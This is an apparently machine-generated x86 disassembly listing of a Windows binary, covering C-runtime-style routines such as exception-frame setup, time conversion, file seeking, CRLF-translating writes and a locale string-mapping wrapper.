loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB9D8
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CF74
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFC8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFC4
		call	near ptr 27F0CC2h
		nop


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D43C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D358
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D35C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D360


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCD80
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCC80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB928, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2920000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		call	near ptr 2830047h
		nop
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCC80[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB928, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCD80
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCC80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB928, 9
		mov	dword_4DB92C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 2830047h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		call	near ptr 2830047h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB928, 1Ch
		mov	dword_4DB92C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB92C, 0
		mov	dword_4DB928, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB9FC, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB9FC, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB4DC
		push	esi
		push	edi
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB9FC, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB9FC
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 27F0000h
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 29D0000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 29D0000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 29C1170h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA00
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA00, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43CFF0
		mov	edx, dword_43CFF4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
